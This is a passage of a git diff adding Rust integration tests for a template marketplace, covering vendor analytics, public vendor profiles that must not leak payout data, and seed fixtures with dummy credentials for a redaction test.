+            "user-1",
+            "hetzner",
+            json!({}),
+        )
+        .await;
+    }
+
+    for _ in 0..30 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
+            "user-2",
+            "digitalocean",
+            json!({}),
+        )
+        .await;
+    }
+
+    for _ in 0..20 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
+            "user-3",
+            "aws",
+            json!({}),
+        )
+        .await;
+    }
+
+    let analytics =
+        stacker::db::marketplace::get_vendor_analytics(&app.db_pool, "vendor-alice", None)
+            .await
+            .expect("Should fetch analytics");
+
+    let hetzner = analytics
+        .cloud_breakdown
+        .iter()
+        .find(|c| c.cloud_provider == "hetzner")
+        .unwrap();
+
+    // 50/100 = 50%
+    assert!(
+        (hetzner.percentage - 50.0).abs() < 0.1,
+        "Hetzner should be ~50%, got {}",
+        hetzner.percentage
+    );
+
+    let digitalocean = analytics
+        .cloud_breakdown
+        .iter()
+        .find(|c| c.cloud_provider == "digitalocean")
+        .unwrap();
+
+    // 30/100 = 30%
+    assert!(
+        (digitalocean.percentage - 30.0).abs() < 0.1,
+        "DigitalOcean should be ~30%, got {}",
+        digitalocean.percentage
+    );
+
+    let aws = analytics
+        .cloud_breakdown
+        .iter()
+        .find(|c| c.cloud_provider == "aws")
+        .unwrap();
+
+    // 20/100 = 20%
+    assert!(
+        (aws.percentage - 20.0).abs() < 0.1,
+        "AWS should be ~20%, got {}",
+        aws.percentage
+    );
+
+    // All percentages should sum to ~100%
+    let total_percentage: f64 = analytics.cloud_breakdown.iter().map(|c| c.percentage).sum();
+
+    assert!(
+        (total_percentage - 100.0).abs() < 0.1,
+        "Total percentage should be ~100%, got {}",
+        total_percentage
+    );
+}
+
+/// Test that cloud breakdown is sorted by deployment count descending
+///
+/// Expected to FAIL: needs ordering logic
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_cloud_breakdown_sorted_by_deployments_desc() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    // Insert in arbitrary order: aws(2), hetzner(10), digitalocean(5)
+    for _ in 0..2 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
+            "user-1",
+            "aws",
+            json!({}),
+        )
+        .await;
+    }
+
+    for _ in 0..10 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
+            "user-2",
+            "hetzner",
+            json!({}),
+        )
+        .await;
+    }
+
+    for _ in 0..5 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
+            "user-3",
+            "digitalocean",
+            json!({}),
+        )
+        .await;
+    }
+
+    let analytics =
+        stacker::db::marketplace::get_vendor_analytics(&app.db_pool, "vendor-alice", None)
+            .await
+            .expect("Should fetch analytics");
+
+    // Should be sorted: hetzner(10), digitalocean(5), aws(2)
+    assert_eq!(analytics.cloud_breakdown[0].cloud_provider, "hetzner");
+    assert_eq!(analytics.cloud_breakdown[0].deployments, 10);
+
+    assert_eq!(analytics.cloud_breakdown[1].cloud_provider, "digitalocean");
+    assert_eq!(analytics.cloud_breakdown[1].deployments, 5);
+
+    assert_eq!(analytics.cloud_breakdown[2].cloud_provider, "aws");
+    assert_eq!(analytics.cloud_breakdown[2].deployments, 2);
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 5: Aggregate Fallback from stack_template counters
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Test that analytics can fall back to view_count/deploy_count when event table is empty
+///
+/// Expected to FAIL: needs fallback logic in analytics query
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_aggregate_fallback_when_no_events() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    // Set view_count and deploy_count directly (legacy data)
+    sqlx::query(
+        r#"
+        UPDATE stack_template 
+        SET view_count = 42, deploy_count = 15
+        WHERE id = $1
+        "#,
+    )
+    .bind(template_id)
+    .execute(&app.db_pool)
+    .await
+    .expect("Should update counters");
+
+    // Query analytics with no events in event table
+    let analytics =
+        stacker::db::marketplace::get_vendor_analytics(&app.db_pool, "vendor-alice", None)
+            .await
+            .expect("Should fetch analytics");
+
+    // Should fall back to aggregate counters
+    assert_eq!(
+        analytics.summary.total_views, 42,
+        "Should use view_count when no events exist"
+    );
+    assert_eq!(
+        analytics.summary.total_deployments, 15,
+        "Should use deploy_count when no events exist"
+    );
+}
+
+/// Test that event data takes precedence over aggregate counters when available
+///
+/// Expected to FAIL: needs hybrid logic to prefer events over aggregates
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_events_take_precedence_over_aggregates() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    // Set legacy aggregate counters
+    sqlx::query(
+        r#"
+        UPDATE stack_template 
+        SET view_count = 100, deploy_count = 50
+        WHERE id = $1
+        "#,
+    )
+    .bind(template_id)
+    .execute(&app.db_pool)
+    .await
+    .expect("Should update counters");
+
+    // Insert a few events (newer data)
+    for _ in 0..5 {
+        let _ = stacker::db::marketplace::insert_view_event(
+            &app.db_pool,
+            template_id,
+            "user-1",
+            json!({}),
+        )
+        .await;
+    }
+
+    for _ in 0..3 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
+            "user-1",
+            "hetzner",
+            json!({}),
+        )
+        .await;
+    }
+
+    let analytics =
+        stacker::db::marketplace::get_vendor_analytics(&app.db_pool, "vendor-alice", None)
+            .await
+            .expect("Should fetch analytics");
+
+    // Should use event data (5 views, 3 deploys) instead of aggregates (100, 50)
+    assert_eq!(
+        analytics.summary.total_views, 5,
+        "Should use event count when events exist"
+    );
+    assert_eq!(
+        analytics.summary.total_deployments, 3,
+        "Should use event count when events exist"
+    );
+}
+
+/// Test that aggregate fallback is used for templates with no events in period
+///
+/// Expected to FAIL: needs period-aware fallback logic
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_aggregate_fallback_for_period_with_no_events() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    // Set aggregate counters
+    sqlx::query(
+        r#"
+        UPDATE stack_template 
+        SET view_count = 25, deploy_count = 10
+        WHERE id = $1
+        "#,
+    )
+    .bind(template_id)
+    .execute(&app.db_pool)
+    .await
+    .expect("Should update counters");
+
+    // Insert old events (outside 7-day period)
+    insert_event_at_time(
+        &app.db_pool,
+        template_id,
+        "view",
+        Utc::now() - Duration::days(30),
+        None,
+        json!({}),
+    )
+    .await;
+
+    // Query for 7-day period (no events in period)
+    let analytics = stacker::db::marketplace::get_vendor_analytics_for_period(
+        &app.db_pool,
+        "vendor-alice",
+        "7d",
+        None,
+        None,
+    )
+    .await
+    .expect("Should fetch analytics");
+
+    // For "all time" summary, should still show aggregate totals even if no events in selected period
+    // Or: should show 0 for period-specific metrics
+    // Implementation decision: let's say period filters should return 0 when no events in period
+    assert_eq!(
+        analytics.summary.total_views, 0,
+        "Should show 0 for period with no events (not aggregate)"
+    );
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 6: No Finance Fields in Metric Structures
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Test that VendorAnalytics struct does not contain finance fields
+///
+/// Expected to PASS: validates contract at compile time
+#[test]
+fn test_vendor_analytics_struct_excludes_finance_fields() {
+    // This test validates at compile time that VendorAnalytics struct
+    // does not have finance-related fields
+
+    let analytics = stacker::models::marketplace::VendorAnalytics {
+        creator_id: "test".to_string(),
+        period: stacker::models::marketplace::AnalyticsPeriod {
+            key: "30d".to_string(),
+            start_date: None,
+            end_date: None,
+            bucket: "day".to_string(),
+        },
+        summary: stacker::models::marketplace::AnalyticsSummary {
+            total_views: 100,
+            total_deployments: 50,
+            conversion_rate: 50.0,
+            published_templates: 5,
+            top_cloud: Some("hetzner".to_string()),
+            top_template_id: None,
+        },
+        views_series: vec![],
+        deployments_series: vec![],
+        cloud_breakdown: vec![],
+        top_templates: vec![],
+        templates: vec![],
+    };
+
+    // These compile-time assertions ensure finance fields don't exist
+    // If any of these lines compile, it would mean the field exists (which would be a failure)
+
+    // Uncommenting these should cause compile errors:
+    // let _ = analytics.total_earnings;
+    // let _ = analytics.withdrawable_balance;
+    // let _ = analytics.pending_payout;
+    // let _ = analytics.summary.revenue;
+    // let _ = analytics.summary.earnings;
+
+    assert_eq!(analytics.creator_id, "test");
+}
+
+/// Test that AnalyticsSummary struct does not contain finance fields
+///
+/// Expected to PASS: validates contract at compile time
+#[test]
+fn test_analytics_summary_excludes_finance_fields() {
+    let summary = stacker::models::marketplace::AnalyticsSummary {
+        total_views: 100,
+        total_deployments: 50,
+        conversion_rate: 50.0,
+        published_templates: 5,
+        top_cloud: Some("hetzner".to_string()),
+        top_template_id: None,
+    };
+
+    // Compile-time validation that these fields don't exist:
+    // let _ = summary.total_earnings;
+    // let _ = summary.revenue;
+    // let _ = summary.payout;
+
+    assert!(summary.total_views > 0);
+}
+
+/// Test that CloudBreakdown struct does not contain finance fields
+///
+/// Expected to PASS: validates contract at compile time
+#[test]
+fn test_cloud_breakdown_excludes_finance_fields() {
+    let breakdown = stacker::models::marketplace::CloudBreakdown {
+        cloud_provider: "hetzner".to_string(),
+        deployments: 50,
+        percentage: 50.0,
+    };
+
+    // Compile-time validation:
+    // let _ = breakdown.revenue;
+    // let _ = breakdown.earnings;
+
+    assert_eq!(breakdown.cloud_provider, "hetzner");
+}
+
+/// Test that marketplace event model does not include finance fields
+///
+/// Expected to FAIL: needs MarketplaceEvent model definition
+#[test]
+fn test_marketplace_event_excludes_finance_fields() {
+    // This will fail until MarketplaceEvent model is defined
+    let event = stacker::models::marketplace::MarketplaceEvent {
+        id: Uuid::new_v4(),
+        template_id: Uuid::new_v4(),
+        event_type: "view".to_string(),
+        viewer_user_id: Some("user-1".to_string()),
+        deployer_user_id: None,
+        cloud_provider: None,
+        occurred_at: Utc::now(),
+        metadata: json!({}),
+    };
+
+    // Compile-time validation that finance fields don't exist:
+    // let _ = event.amount;
+    // let _ = event.revenue;
+    // let _ = event.payout_amount;
+
+    assert_eq!(event.event_type, "view");
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test Helpers
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Helper to create a test template in the database
+async fn create_test_template(pool: &PgPool, id: Uuid, creator_user_id: &str) {
+    sqlx::query(
+        r#"
+        INSERT INTO stack_template (
+            id,
+            creator_user_id,
+            creator_name,
+            name,
+            slug,
+            short_description,
+            status,
+            tags,
+            tech_stack,
+            view_count,
+            deploy_count,
+            created_at,
+            updated_at
+        )
+        VALUES ($1, $2, $3, $4, $5, $6, 'approved', '[]'::jsonb, '{}'::jsonb, 0, 0, NOW(), NOW())
+        "#,
+    )
+    .bind(id)
+    .bind(creator_user_id)
+    .bind(format!("{} Creator", creator_user_id))
+    .bind(format!("Test Template {}", id))
+    .bind(format!("test-template-{}", id))
+    .bind("A test template")
+    .execute(pool)
+    .await
+    .expect("Should insert test template");
+}
+
+/// Helper to insert an event with a specific timestamp (for testing period filtering)
+async fn insert_event_at_time(
+    pool: &PgPool,
+    template_id: Uuid,
+    event_type: &str,
+    occurred_at: DateTime<Utc>,
+    cloud_provider: Option<&str>,
+    metadata: serde_json::Value,
+) {
+    let viewer_user_id = if event_type == "view" {
+        Some("test-viewer")
+    } else {
+        None
+    };
+    let deployer_user_id = if event_type == "deploy" {
+        Some("test-deployer")
+    } else {
+        None
+    };
+
+    sqlx::query(
+        r#"
+        INSERT INTO marketplace_event (
+            template_id,
+            event_type,
+            viewer_user_id,
+            deployer_user_id,
+            cloud_provider,
+            occurred_at,
+            metadata
+        )
+        VALUES ($1, $2, $3, $4, $5, $6, $7)
+        "#,
+    )
+    .bind(template_id)
+    .bind(event_type)
+    .bind(viewer_user_id)
+    .bind(deployer_user_id)
+    .bind(cloud_provider)
+    .bind(occurred_at)
+    .bind(metadata)
+    .execute(pool)
+    .await
+    .expect("Should insert event at specific time");
+}
diff --git a/tests/marketplace_metrics_compile_check.rs b/tests/marketplace_metrics_compile_check.rs
new file mode 100644
index 00000000..11f81256
--- /dev/null
+++ b/tests/marketplace_metrics_compile_check.rs
@@ -0,0 +1,92 @@
+use chrono::Utc;
+use serde_json::json;
+/// Compile-time check that analytics models are defined correctly and exclude finance fields
+///
+/// This is a minimal test to verify the model structure compiles before running DB tests
+use stacker::models::marketplace::*;
+use uuid::Uuid;
+
+#[test]
+fn test_marketplace_event_model_compiles() {
+    let event = MarketplaceEvent {
+        id: Uuid::new_v4(),
+        template_id: Uuid::new_v4(),
+        event_type: "view".to_string(),
+        viewer_user_id: Some("user-1".to_string()),
+        deployer_user_id: None,
+        cloud_provider: None,
+        occurred_at: Utc::now(),
+        metadata: json!({}),
+    };
+
+    assert_eq!(event.event_type, "view");
+
+    // These should NOT compile if added (finance fields):
+    // let _ = event.amount;
+    // let _ = event.revenue;
+}
+
+#[test]
+fn test_vendor_analytics_model_compiles() {
+    let analytics = VendorAnalytics {
+        creator_id: "vendor-1".to_string(),
+        period: AnalyticsPeriod {
+            key: "30d".to_string(),
+            start_date: None,
+            end_date: None,
+            bucket: "day".to_string(),
+        },
+        summary: AnalyticsSummary {
+            total_views: 100,
+            total_deployments: 50,
+            conversion_rate: 50.0,
+            published_templates: 5,
+            top_cloud: Some("hetzner".to_string()),
+            top_template_id: None,
+        },
+        views_series: vec![],
+        deployments_series: vec![],
+        cloud_breakdown: vec![],
+        top_templates: vec![],
+        templates: vec![],
+    };
+
+    assert_eq!(analytics.creator_id, "vendor-1");
+
+    // These should NOT compile if added (finance fields):
+    // let _ = analytics.total_earnings;
+    // let _ = analytics.withdrawable_balance;
+}
+
+#[test]
+fn test_cloud_breakdown_model_compiles() {
+    let breakdown = CloudBreakdown {
+        cloud_provider: "hetzner".to_string(),
+        deployments: 50,
+        percentage: 50.0,
+    };
+
+    assert_eq!(breakdown.cloud_provider, "hetzner");
+
+    // These should NOT compile if added (finance fields):
+    // let _ = breakdown.revenue;
+    // let _ = breakdown.earnings;
+}
+
+#[test]
+fn test_analytics_summary_model_compiles() {
+    let summary = AnalyticsSummary {
+        total_views: 100,
+        total_deployments: 50,
+        conversion_rate: 50.0,
+        published_templates: 5,
+        top_cloud: Some("hetzner".to_string()),
+        top_template_id: None,
+    };
+
+    assert_eq!(summary.total_views, 100);
+
+    // These should NOT compile if added (finance fields):
+    // let _ = summary.total_earnings;
+    // let _ = summary.revenue;
+}
diff --git a/tests/marketplace_mine.rs b/tests/marketplace_mine.rs
index 6c33b434..2b51d094 100644
--- a/tests/marketplace_mine.rs
+++ b/tests/marketplace_mine.rs
@@ -39,8 +39,13 @@ async fn mine_returns_empty_list_for_new_user() {
 
     assert_eq!(StatusCode::OK, response.status());
 
-    let body: serde_json::Value = response.json().await.expect("Response should be valid JSON");
-    let list = body.get("list").expect("Response body should contain 'list' field");
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+    let list = body
+        .get("list")
+        .expect("Response body should contain 'list' field");
     assert!(list.is_array(), "'list' should be a JSON array");
     assert_eq!(
         0,
@@ -85,10 +90,19 @@ async fn mine_returns_only_the_authenticated_users_templates() {
 
     assert_eq!(StatusCode::OK, response.status());
 
-    let body: serde_json::Value = response.json().await.expect("Response should be valid JSON");
-    let list = body["list"].as_array().expect("'list' should be a JSON array");
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+    let list = body["list"]
+        .as_array()
+        .expect("'list' should be a JSON array");
 
-    assert_eq!(1, list.len(), "Should return exactly the authenticated user's template");
+    assert_eq!(
+        1,
+        list.len(),
+        "Should return exactly the authenticated user's template"
+    );
     assert_eq!(
         "my-test-stack",
         list[0]["slug"].as_str().unwrap_or_default(),
diff --git a/tests/marketplace_public_vendor_profile.rs b/tests/marketplace_public_vendor_profile.rs
new file mode 100644
index 00000000..ca85c029
--- /dev/null
+++ b/tests/marketplace_public_vendor_profile.rs
@@ -0,0 +1,333 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::Value;
+
+async fn seed_vendor_page(
+    app: &common::TestApp,
+    public_slug: &str,
+) -> common::MarketplaceVendorFixture {
+    let vendor = common::seed_marketplace_vendor_fixture(&app.db_pool, public_slug).await;
+    common::seed_marketplace_template_fixtures_for_vendor(&app.db_pool, &vendor.creator_user_id)
+        .await;
+    common::seed_marketplace_template_ratings_for_vendor(&app.db_pool, &vendor.creator_user_id)
+        .await;
+    vendor
+}
+
+#[tokio::test]
+async fn public_vendor_profile_returns_vendor_and_approved_templates_by_slug() {
+    // Given a shared vendor fixture with approved and non-approved templates
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+
+    // When a public user requests the vendor page without authentication
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.public_slug
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile");
+
+    // Then the public vendor profile and only approved templates are returned
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("vendor profile response should be valid JSON");
+
+    assert_eq!("OK", body["message"]);
+    assert_eq!(
+        vendor.creator_user_id,
+        body["item"]["vendor"]["creator_user_id"]
+    );
+    assert_eq!(vendor.public_slug, body["item"]["vendor"]["slug"]);
+    assert_eq!(vendor.display_name, body["item"]["vendor"]["display_name"]);
+    assert_eq!(
+        vendor.bio,
+        body["item"]["vendor"]["bio"].as_str().map(str::to_string)
+    );
+    assert_eq!(true, body["item"]["vendor"]["verified"]);
+    assert!(body["item"]["vendor"]["created_at"].is_string());
+    assert_eq!(Some(4.0), body["item"]["vendor"]["rating"].as_f64());
+    assert_eq!(3, body["item"]["vendor"]["rating_count"]);
+    assert_eq!(5, body["item"]["vendor"]["rating_scale"]);
+
+    let templates = body["item"]["templates"]
+        .as_array()
+        .expect("templates should be an array");
+    assert_eq!(2, templates.len());
+
+    let slugs = templates
+        .iter()
+        .map(|template| template["slug"].as_str().unwrap_or_default())
+        .collect::<Vec<_>>();
+    assert!(slugs.contains(&"wordpress-pro"));
+    assert!(slugs.contains(&"postgres-backup"));
+    assert!(!slugs.contains(&"draft-internal-template"));
+
+    let wordpress = templates
+        .iter()
+        .find(|template| template["slug"] == "wordpress-pro")
+        .expect("wordpress template should be present");
+    assert_eq!(Some(4.5), wordpress["rating"].as_f64());
+    assert_eq!(2, wordpress["rating_count"]);
+    assert_eq!(5, wordpress["rating_scale"]);
+
+    let postgres = templates
+        .iter()
+        .find(|template| template["slug"] == "postgres-backup")
+        .expect("postgres template should be present");
+    assert_eq!(Some(3.0), postgres["rating"].as_f64());
+    assert_eq!(1, postgres["rating_count"]);
+    assert_eq!(5, postgres["rating_scale"]);
+}
+
+#[tokio::test]
+async fn public_vendor_profile_can_be_loaded_by_creator_user_id() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.creator_user_id
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile by creator id");
+
+    assert_eq!(StatusCode::OK, response.status());
+    let body: serde_json::Value = response.json().await.expect("Failed to parse response");
+    assert_eq!(body["item"]["vendor"]["slug"], "acme-cloud");
+}
+
+#[tokio::test]
+async fn public_vendor_profile_does_not_expose_sensitive_payout_fields() {
+    // Given a vendor fixture with a payout account reference
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+    sqlx::query(
+        r#"UPDATE marketplace_vendor_profile
+           SET metadata = metadata || '{"internal_note":"do-not-leak","onboarding":{"secret":"hidden"}}'::jsonb
+           WHERE creator_user_id = $1"#,
+    )
+    .bind(&vendor.creator_user_id)
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to add private metadata");
+
+    // When the public vendor page is requested
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.public_slug
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+    let body: Value = response
+        .json()
+        .await
+        .expect("vendor profile response should be valid JSON");
+
+    // Then payout account references are not exposed anywhere in the payload
+    assert!(body["item"]["vendor"].get("payout_account_ref").is_none());
+    assert!(!body.to_string().contains("acct_acme_fixture"));
+    assert!(!body.to_string().contains("do-not-leak"));
+    assert!(body["item"]["vendor"]["metadata"]
+        .get("internal_note")
+        .is_none());
+    assert!(body["item"]["vendor"]["metadata"]
+        .get("onboarding")
+        .is_none());
+}
+
+#[tokio::test]
+async fn public_vendor_profile_returns_not_found_for_unknown_vendor() {
+    // Given no matching vendor fixture has been seeded
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    // When a public user requests an unknown vendor
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/vendors/missing-vendor", app.address))
+        .send()
+        .await
+        .expect("Failed to fetch missing public vendor profile");
+
+    // Then the API returns not found
+    assert_eq!(StatusCode::NOT_FOUND, response.status());
+}
+
+#[tokio::test]
+async fn public_vendor_profile_does_not_require_authentication() {
+    // Given a public vendor fixture exists
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+
+    // When the request has no Authorization header
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.public_slug
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile");
+
+    // Then it still succeeds because vendor pages are public
+    assert_eq!(StatusCode::OK, response.status());
+}
+
+#[tokio::test]
+async fn public_vendor_profile_returns_empty_template_list_when_vendor_has_no_approved_templates() {
+    // Given a vendor exists but only has draft templates
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "beta-labs").await;
+
+    // When the public vendor page is requested
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.public_slug
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile");
+
+    // Then the profile is returned with an empty templates array
+    assert_eq!(StatusCode::OK, response.status());
+    let body: Value = response
+        .json()
+        .await
+        .expect("vendor profile response should be valid JSON");
+
+    assert_eq!("beta-labs", body["item"]["vendor"]["slug"]);
+    assert!(body["item"]["vendor"]["created_at"].is_string());
+    assert!(body["item"]["vendor"]["rating"].is_null());
+    assert_eq!(0, body["item"]["vendor"]["rating_count"]);
+    assert_eq!(5, body["item"]["vendor"]["rating_scale"]);
+    assert_eq!(
+        0,
+        body["item"]["templates"]
+            .as_array()
+            .expect("templates should be an array")
+            .len()
+    );
+}
+
+#[tokio::test]
+async fn template_detail_includes_vendor_slug_from_vendor_profile() {
+    // Given a vendor with an approved template
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+
+    // When fetching the template detail for an approved template owned by that vendor
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/wordpress-pro", app.address))
+        .send()
+        .await
+        .expect("Failed to fetch template detail");
+
+    // Then the response includes the vendor's public_slug as vendor_slug
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("template detail response should be valid JSON");
+
+    assert_eq!("OK", body["message"]);
+    assert_eq!(
+        vendor.public_slug,
+        body["item"]["template"]["vendor_slug"]
+            .as_str()
+            .expect("vendor_slug should be a non-null string")
+    );
+    assert_eq!(
+        "WordPress Pro",
+        body["item"]["template"]["name"]
+            .as_str()
+            .expect("name should be a string")
+    );
+}
+
+#[tokio::test]
+async fn template_detail_vendor_slug_is_null_when_no_vendor_profile() {
+    // Given a template whose creator has no marketplace_vendor_profile record
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    // Insert a template directly without creating a vendor profile
+    sqlx::query(
+        r#"INSERT INTO stack_template (
+            id, creator_user_id, creator_name, name, slug, status,
+            short_description, tags, tech_stack
+        )
+        VALUES (
+            'a0000000-0000-0000-0000-000000000001'::uuid,
+            'orphan_creator',
+            'Orphan Creator',
+            'Orphan Template',
+            'orphan-template',
+            'approved',
+            'A template with no vendor profile',
+            '[]'::jsonb,
+            '{}'::jsonb
+        )"#,
+    )
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert orphan template");
+
+    // When fetching the template detail
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/orphan-template", app.address))
+        .send()
+        .await
+        .expect("Failed to fetch orphan template detail");
+
+    // Then vendor_slug is null because no vendor profile exists
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("template detail response should be valid JSON");
+
+    assert!(body["item"]["template"]["vendor_slug"].is_null());
+    assert_eq!(
+        "Orphan Template",
+        body["item"]["template"]["name"]
+            .as_str()
+            .expect("name should be a string")
+    );
+}
diff --git a/tests/marketplace_template_detail_redact.rs b/tests/marketplace_template_detail_redact.rs
new file mode 100644
index 00000000..0c5f46e3
--- /dev/null
+++ b/tests/marketplace_template_detail_redact.rs
@@ -0,0 +1,347 @@
+/// Security tests: sensitive fields in stack_definition must be redacted
+/// for any caller of the public template detail endpoints.
+///
+/// Covers:
+///   GET /api/templates/{slug}
+///   GET /api/v1/templates/{slug}
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+use sqlx::Row;
+
+async fn insert_approved_template(pool: &sqlx::PgPool, slug: &str) -> uuid::Uuid {
+    sqlx::query(
+        r#"INSERT INTO stack_template (
+            creator_user_id, name, slug, status,
+            tags, tech_stack, infrastructure_requirements,
+            approved_at
+        )
+        VALUES ($1, $2, $3, 'approved', '[]'::jsonb, '{}'::jsonb, '{}'::jsonb, NOW())
+        RETURNING id"#,
+    )
+    .bind(common::USER_A_ID)
+    .bind(format!("Sensitive Test Template {}", slug))
+    .bind(slug)
+    .fetch_one(pool)
+    .await
+    .expect("insert template")
+    .get::<uuid::Uuid, _>("id")
+}
+
+/// Seed a template whose stack_definition is a JSON object (definition_format = 'json')
+/// with sensitive fields in the {key, value} pair format used by ProjectForm.
+async fn seed_template_with_sensitive_json_definition(
+    pool: &sqlx::PgPool,
+    slug: &str,
+) -> uuid::Uuid {
+    let template_id = insert_approved_template(pool, slug).await;
+
+    let stack_definition = json!({
+        "custom": {
+            "custom_stack_code": "myapp",
+            "web": []
+        },
+        "deploy": {
+            "stack": {
+                "vars": [
+                    { "key": "DB_HOST",     "value": "db.internal" },
+                    { "key": "DB_PASSWORD", "value": "super_secret_pw" },
+                    { "key": "DB_USER",     "value": "appuser" },
+                    { "key": "api_key",     "value": "sk-live-abc123" },
+                    { "key": "AUTH_KEY",    "value": "auth-token-xyz" },
+                    { "key": "APP_PORT",    "value": "3000" }
+                ]
+            },
+            "nested": {
+                "credentials": {
+                    "passwd": "root_pass",
+                    "username": "root"
+                }
+            }
+        }
+    });
+
+    sqlx::query(
+        r#"INSERT INTO stack_template_version (
+            template_id, version, stack_definition,
+            definition_format, is_latest
+        )
+        VALUES ($1, '1.0.0', $2, 'json', true)"#,
+    )
+    .bind(template_id)
+    .bind(stack_definition)
+    .execute(pool)
+    .await
+    .expect("insert template version");
+
+    template_id
+}
+
+/// Seed a template whose stack_definition is a Docker Compose YAML string
+/// (definition_format = 'yaml') — the format used by real marketplace templates.
+async fn seed_template_with_sensitive_yaml_definition(
+    pool: &sqlx::PgPool,
+    slug: &str,
+) -> uuid::Uuid {
+    let template_id = insert_approved_template(pool, slug).await;
+
+    // Mirrors the actual format seen at /api/templates/myproject15
+    let yaml = r#"version: '3.8'
+services:
+  app:
+    image: flowiseai/flowise:latest
+    environment:
+      PORT: '3000'
+      APP_HOST: localhost
+      FLOWISE_USERNAME: admin
+      FLOWISE_PASSWORD: admin123
+      DATABASE_PASSWORD: Qwerty123
+      SECRETKEY: change-me-please
+    restart: always
+"#;
+
+    // Store the YAML as a JSONB string value (same as how the real table stores it).
+    // Binding serde_json::Value::String lets sqlx serialize it as a JSON-quoted string.
+    sqlx::query(
+        r#"INSERT INTO stack_template_version (
+            template_id, version, stack_definition,
+            definition_format, is_latest
+        )
+        VALUES ($1, '1.0.0', $2, 'yaml', true)"#,
+    )
+    .bind(template_id)
+    .bind(serde_json::Value::String(yaml.to_string()))
+    .execute(pool)
+    .await
+    .expect("insert yaml template version");
+
+    template_id
+}
+
